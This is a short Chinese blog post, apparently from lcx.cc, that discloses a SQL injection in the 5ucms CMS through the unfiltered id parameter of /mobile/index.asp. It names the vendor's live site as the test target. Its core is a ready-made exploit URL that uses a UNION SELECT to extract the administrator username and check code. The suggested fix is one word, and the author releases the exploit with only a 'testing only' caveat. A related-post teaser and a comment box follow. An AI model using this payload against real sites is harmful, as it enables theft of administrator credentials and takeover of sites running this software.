5ucms 最新版 sql 注入漏洞

  • A+
所属分类:lcx

漏洞发现:鬼哥

漏洞文件:/mobile/index.asp

漏洞说明:未对变量id过滤 导致产生sql注入!

漏洞测试:http://www.5u.hk/ 官方

漏洞证明↓

QQ截图20120606183325.jpg

漏洞EXP↓

/mobile/index.asp?act=view&id=1%20union%20select%201,Username%26chr(124)%26CheckCode%20from%20{pre}admin

漏洞修复↓

过滤。。。

放手上很久了,没怎么用。就放出来吧。希望只用于测试。不要恶意利用。

文章来源于lcx.cc:5ucms 最新版 sql 注入漏洞

相关推荐: 【视频】绿盟科技的宣传片 欺负广大群众

绿盟科技宣传片     绿盟科技宣传片。     啊哈哈哈哈,这宣传片,笑死人。     恶心死人啊,欺负不懂电脑的广大群众……     还有,视频最后给客户打电话说:我们检测到你网络……,是不是也能检测到,用户在下毛片呢,用户的各种账号密码呢……非法监控!文…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: